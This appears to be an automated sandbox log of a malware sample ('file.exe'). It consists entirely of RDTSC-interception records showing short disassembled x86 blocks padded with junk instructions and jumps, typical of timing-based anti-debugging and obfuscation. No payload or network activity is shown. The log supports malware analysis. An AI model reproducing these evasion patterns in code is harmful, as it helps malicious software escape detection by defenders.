Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F700D6 second address: 4F700EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 xor dword ptr [esp], 05709026h 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 mov ebx, eax 0x00000012 mov cl, 64h 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F700EB second address: 4F70184 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E9641F1Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 call 00007F32E9641F19h 0x0000000e pushad 0x0000000f jmp 00007F32E9641F1Eh 0x00000014 mov eax, 7F34B8B1h 0x00000019 popad 0x0000001a push eax 0x0000001b pushad 0x0000001c push edi 0x0000001d mov edi, ecx 0x0000001f pop ecx 0x00000020 mov ax, dx 0x00000023 popad 0x00000024 mov eax, dword ptr [esp+04h] 0x00000028 pushad 0x00000029 pushad 0x0000002a mov ah, C2h 0x0000002c push edi 0x0000002d pop esi 0x0000002e popad 0x0000002f mov eax, edx 0x00000031 popad 0x00000032 mov eax, dword ptr [eax] 0x00000034 jmp 00007F32E9641F1Ch 0x00000039 mov dword ptr [esp+04h], eax 0x0000003d pushad 0x0000003e mov eax, edx 0x00000040 jmp 00007F32E9641F1Dh 0x00000045 popad 0x00000046 pop eax 0x00000047 jmp 00007F32E9641F1Eh 0x0000004c mov eax, dword ptr fs:[00000000h] 0x00000052 push eax 0x00000053 push edx 0x00000054 jmp 00007F32E9641F27h 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F70184 second address: 4F7018A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F7018A second address: 4F701C3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebp 0x00000009 jmp 00007F32E9641F1Ch 0x0000000e mov dword ptr [esp], eax 0x00000011 jmp 00007F32E9641F20h 0x00000016 sub esp, 18h 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F32E9641F1Ah 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F701C3 second address: 4F701D2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E8D838DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F701D2 second address: 4F701FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, dx 0x00000006 mov edi, 740A1B26h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push edx 0x0000000f pushad 0x00000010 call 00007F32E9641F28h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F701FC second address: 4F70277 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 movsx ebx, cx 0x00000008 popad 0x00000009 mov dword ptr [esp], ebx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F32E8D838E6h 0x00000013 add ecx, 2B420F28h 0x00000019 jmp 00007F32E8D838DBh 0x0000001e popfd 0x0000001f mov di, ax 0x00000022 popad 0x00000023 xchg eax, esi 0x00000024 pushad 0x00000025 mov ecx, 1EC34017h 0x0000002a pushfd 0x0000002b jmp 00007F32E8D838DCh 0x00000030 or eax, 4AD44188h 0x00000036 jmp 00007F32E8D838DBh 0x0000003b popfd 0x0000003c popad 0x0000003d push eax 0x0000003e push eax 0x0000003f push edx 0x00000040 pushad 0x00000041 call 00007F32E8D838E2h 0x00000046 pop eax 0x00000047 mov ah, bl 0x00000049 popad 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F70277 second address: 4F7027C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F7027C second address: 4F702F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F32E8D838E9h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, esi 0x0000000d jmp 00007F32E8D838DEh 0x00000012 xchg eax, edi 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007F32E8D838DEh 0x0000001a sbb cx, F8A8h 0x0000001f jmp 00007F32E8D838DBh 0x00000024 popfd 0x00000025 call 00007F32E8D838E8h 0x0000002a pushad 0x0000002b popad 0x0000002c pop ecx 0x0000002d popad 0x0000002e push eax 0x0000002f push eax 0x00000030 push edx 0x00000031 push eax 0x00000032 push edx 0x00000033 push eax 0x00000034 push edx 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F702F0 second address: 4F702F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F702F4 second address: 4F702FA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F702FA second address: 4F70331 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E9641F22h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, edi 0x0000000a jmp 00007F32E9641F20h 0x0000000f mov eax, dword ptr [75C74538h] 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 mov di, 6AB0h 0x0000001b mov ax, bx 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F70331 second address: 4F70346 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F32E8D838E1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F70346 second address: 4F703E1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E9641F21h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xor dword ptr [ebp-08h], eax 0x0000000e pushad 0x0000000f pushad 0x00000010 mov bh, ch 0x00000012 movsx ebx, ax 0x00000015 popad 0x00000016 mov si, 2F17h 0x0000001a popad 0x0000001b xor eax, ebp 0x0000001d jmp 00007F32E9641F23h 0x00000022 nop 0x00000023 jmp 00007F32E9641F26h 0x00000028 push eax 0x00000029 pushad 0x0000002a pushad 0x0000002b mov bx, 1C32h 0x0000002f push edi 0x00000030 pop esi 0x00000031 popad 0x00000032 mov esi, edx 0x00000034 popad 0x00000035 nop 0x00000036 pushad 0x00000037 pushfd 0x00000038 jmp 00007F32E9641F27h 0x0000003d sub ch, FFFFFFDEh 0x00000040 jmp 00007F32E9641F29h 0x00000045 popfd 0x00000046 push eax 0x00000047 push edx 0x00000048 mov edi, eax 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F703E1 second address: 4F7042B instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F32E8D838DAh 0x00000008 add cx, 6ED8h 0x0000000d jmp 00007F32E8D838DBh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 popad 0x00000016 lea eax, dword ptr [ebp-10h] 0x00000019 pushad 0x0000001a mov bx, si 0x0000001d movzx ecx, dx 0x00000020 popad 0x00000021 mov dword ptr fs:[00000000h], eax 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007F32E8D838E6h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F7042B second address: 4F70518 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop eax 0x00000005 jmp 00007F32E9641F1Dh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [ebp-18h], esp 0x00000010 pushad 0x00000011 call 00007F32E9641F1Ch 0x00000016 movzx eax, di 0x00000019 pop edx 0x0000001a movzx esi, bx 0x0000001d popad 0x0000001e mov eax, dword ptr fs:[00000018h] 0x00000024 jmp 00007F32E9641F1Fh 0x00000029 mov ecx, dword ptr [eax+00000FDCh] 0x0000002f pushad 0x00000030 pushad 0x00000031 jmp 00007F32E9641F22h 0x00000036 movzx ecx, dx 0x00000039 popad 0x0000003a pushfd 0x0000003b jmp 00007F32E9641F27h 0x00000040 xor ch, 0000001Eh 0x00000043 jmp 00007F32E9641F29h 0x00000048 popfd 0x00000049 popad 0x0000004a test ecx, ecx 0x0000004c pushad 0x0000004d pushfd 0x0000004e jmp 00007F32E9641F1Ch 0x00000053 add ax, 7D18h 0x00000058 jmp 00007F32E9641F1Bh 0x0000005d popfd 0x0000005e mov si, 8CCFh 0x00000062 popad 0x00000063 jns 00007F32E9641F3Ah 0x00000069 jmp 00007F32E9641F22h 0x0000006e add eax, ecx 0x00000070 jmp 00007F32E9641F20h 0x00000075 mov ecx, dword ptr [ebp+08h] 0x00000078 pushad 0x00000079 push esi 0x0000007a push eax 0x0000007b push edx 0x0000007c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F70518 second address: 4F70529 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 movzx esi, di 0x00000008 popad 0x00000009 test ecx, ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F70529 second address: 4F7052D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F7052D second address: 4F70531 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F70531 second address: 4F70537 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F60151 second address: 4F6017E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, 7CA97A07h 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ebp 0x0000000e jmp 00007F32E8D838E8h 0x00000013 push eax 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F6017E second address: 4F60182 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F60182 second address: 4F6019E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E8D838E8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F6019E second address: 4F60201 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dh, 47h 0x00000005 movzx eax, dx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d movsx ebx, cx 0x00000010 pushfd 0x00000011 jmp 00007F32E9641F1Ch 0x00000016 or ecx, 7F2641A8h 0x0000001c jmp 00007F32E9641F1Bh 0x00000021 popfd 0x00000022 popad 0x00000023 mov ebp, esp 0x00000025 jmp 00007F32E9641F26h 0x0000002a sub esp, 2Ch 0x0000002d pushad 0x0000002e call 00007F32E9641F1Eh 0x00000033 mov ax, 5B11h 0x00000037 pop esi 0x00000038 push eax 0x00000039 push edx 0x0000003a mov dl, ADh 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F60201 second address: 4F6022D instructions: 0x00000000 rdtsc 0x00000002 mov esi, 1DDB6305h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a xchg eax, ebx 0x0000000b jmp 00007F32E8D838E0h 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F32E8D838DEh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F6022D second address: 4F60233 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F60233 second address: 4F60237 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F602B9 second address: 4F60319 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E9641F1Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub ebx, ebx 0x0000000b jmp 00007F32E9641F21h 0x00000010 sub edi, edi 0x00000012 pushad 0x00000013 call 00007F32E9641F1Dh 0x00000018 mov esi, 2AB00397h 0x0000001d pop ecx 0x0000001e movsx edx, si 0x00000021 popad 0x00000022 inc ebx 0x00000023 jmp 00007F32E9641F24h 0x00000028 test al, al 0x0000002a pushad 0x0000002b mov ecx, 72A51E4Dh 0x00000030 push eax 0x00000031 push edx 0x00000032 mov ebx, esi 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F60319 second address: 4F60364 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E8D838E4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a je 00007F32E8D83AE8h 0x00000010 jmp 00007F32E8D838E0h 0x00000015 lea ecx, dword ptr [ebp-14h] 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F32E8D838E7h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F60364 second address: 4F6036A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F603B9 second address: 4F60404 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F32E8D838E1h 0x00000009 sbb ch, 00000056h 0x0000000c jmp 00007F32E8D838E1h 0x00000011 popfd 0x00000012 mov eax, 277F63C7h 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a nop 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F32E8D838E4h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F60404 second address: 4F6040A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F6040A second address: 4F60410 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F60410 second address: 4F60414 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F60414 second address: 4F60444 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F32E8D838DFh 0x0000000e nop 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F32E8D838E5h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F605CE second address: 4F605D4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F605D4 second address: 4F605E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F32E8D838DDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F605E5 second address: 4F60665 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E9641F21h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c jmp 00007F32E9641F1Eh 0x00000011 nop 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007F32E9641F1Eh 0x00000019 sub eax, 359CB8E8h 0x0000001f jmp 00007F32E9641F1Bh 0x00000024 popfd 0x00000025 mov dx, cx 0x00000028 popad 0x00000029 push eax 0x0000002a jmp 00007F32E9641F25h 0x0000002f nop 0x00000030 push eax 0x00000031 push edx 0x00000032 push eax 0x00000033 push edx 0x00000034 jmp 00007F32E9641F28h 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F60665 second address: 4F6066B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F606EE second address: 4F50E4E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F32E9641F21h 0x00000009 adc ch, FFFFFFE6h 0x0000000c jmp 00007F32E9641F21h 0x00000011 popfd 0x00000012 jmp 00007F32E9641F20h 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a mov esi, eax 0x0000001c jmp 00007F32E9641F20h 0x00000021 test esi, esi 0x00000023 pushad 0x00000024 call 00007F32E9641F1Eh 0x00000029 pop edi 0x0000002a mov dx, cx 0x0000002d popad 0x0000002e je 00007F335A2FFE18h 0x00000034 xor eax, eax 0x00000036 jmp 00007F32E961B64Ah 0x0000003b pop esi 0x0000003c pop edi 0x0000003d pop ebx 0x0000003e leave 0x0000003f retn 0004h 0x00000042 nop 0x00000043 cmp eax, 00000000h 0x00000046 setne cl 0x00000049 xor ebx, ebx 0x0000004b test cl, 00000001h 0x0000004e jne 00007F32E9641F17h 0x00000050 jmp 00007F32E964208Bh 0x00000055 call 00007F32EE21BFB3h 0x0000005a mov edi, edi 0x0000005c jmp 00007F32E9641F27h 0x00000061 xchg eax, ebp 0x00000062 pushad 0x00000063 pushfd 0x00000064 jmp 00007F32E9641F24h 0x00000069 xor cx, F098h 0x0000006e jmp 00007F32E9641F1Bh 0x00000073 popfd 0x00000074 popad 0x00000075 push eax 0x00000076 push eax 0x00000077 push edx 0x00000078 jmp 00007F32E9641F1Bh 0x0000007d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F50E4E second address: 4F50E54 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F50E54 second address: 4F50E69 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F32E9641F1Ah 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F50E69 second address: 4F50E80 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E8D838DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F50E80 second address: 4F50EAD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, bx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F32E9641F1Eh 0x00000013 and ah, FFFFFFB8h 0x00000016 jmp 00007F32E9641F1Bh 0x0000001b popfd 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F60B55 second address: 4F60B5B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F60B5B second address: 4F60B61 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F60B61 second address: 4F60B65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F60B65 second address: 4F60B69 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F60B69 second address: 4F60B8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F32E8D838E7h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F60B8B second address: 4F60BAF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, 0FAAh 0x00000007 mov di, 7C76h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F32E9641F23h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F60BAF second address: 4F60BC7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F32E8D838E4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F60BC7 second address: 4F60C92 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E9641F1Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007F32E9641F26h 0x00000011 mov ebp, esp 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007F32E9641F1Eh 0x0000001a xor eax, 31E54658h 0x00000020 jmp 00007F32E9641F1Bh 0x00000025 popfd 0x00000026 mov edx, esi 0x00000028 popad 0x00000029 cmp dword ptr [75C7459Ch], 05h 0x00000030 jmp 00007F32E9641F22h 0x00000035 je 00007F335A2EFCE6h 0x0000003b pushad 0x0000003c pushfd 0x0000003d jmp 00007F32E9641F1Eh 0x00000042 xor eax, 0D27D7E8h 0x00000048 jmp 00007F32E9641F1Bh 0x0000004d popfd 0x0000004e jmp 00007F32E9641F28h 0x00000053 popad 0x00000054 pop ebp 0x00000055 push eax 0x00000056 push edx 0x00000057 pushad 0x00000058 jmp 00007F32E9641F1Dh 0x0000005d jmp 00007F32E9641F20h 0x00000062 popad 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F60CD4 second address: 4F60CD8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F60CD8 second address: 4F60CDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F60CDE second address: 4F60D00 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E8D838E4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov di, cx 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F60D00 second address: 4F60D05 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F60D05 second address: 4F60D0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F60D87 second address: 4F60DF2 instructions: 0x00000000 rdtsc 0x00000002 mov cx, 5FEFh 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushfd 0x00000009 jmp 00007F32E9641F24h 0x0000000e adc ecx, 45AF9E18h 0x00000014 jmp 00007F32E9641F1Bh 0x00000019 popfd 0x0000001a popad 0x0000001b sub esi, esi 0x0000001d pushad 0x0000001e pushfd 0x0000001f jmp 00007F32E9641F25h 0x00000024 or ch, FFFFFFB6h 0x00000027 jmp 00007F32E9641F21h 0x0000002c popfd 0x0000002d mov cx, C9A7h 0x00000031 popad 0x00000032 mov dword ptr [ebp-1Ch], esi 0x00000035 pushad 0x00000036 push eax 0x00000037 push edx 0x00000038 mov ebx, ecx 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F60E43 second address: 4F60E6E instructions: 0x00000000 rdtsc 0x00000002 mov di, cx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov ecx, 3EA20D7Bh 0x0000000c popad 0x0000000d test al, al 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 call 00007F32E8D838E3h 0x00000017 pop eax 0x00000018 mov dx, 710Ch 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F60E6E second address: 4F60E73 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F80381 second address: 4F803AE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E8D838E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F32E8D838DDh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F803AE second address: 4F803BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F32E9641F1Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F803BE second address: 4F803FA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E8D838DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d mov cx, di 0x00000010 mov ebx, 01B76146h 0x00000015 popad 0x00000016 xchg eax, esi 0x00000017 jmp 00007F32E8D838DDh 0x0000001c mov esi, dword ptr [ebp+0Ch] 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007F32E8D838DDh 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F803FA second address: 4F80436 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, si 0x00000006 pushfd 0x00000007 jmp 00007F32E9641F28h 0x0000000c adc cx, 4048h 0x00000011 jmp 00007F32E9641F1Bh 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a test esi, esi 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f mov si, E251h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F80436 second address: 4F8045A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 mov ax, 8A89h 0x0000000b popad 0x0000000c popad 0x0000000d je 00007F3359A1184Ah 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F32E8D838DDh 0x0000001c rdtsc
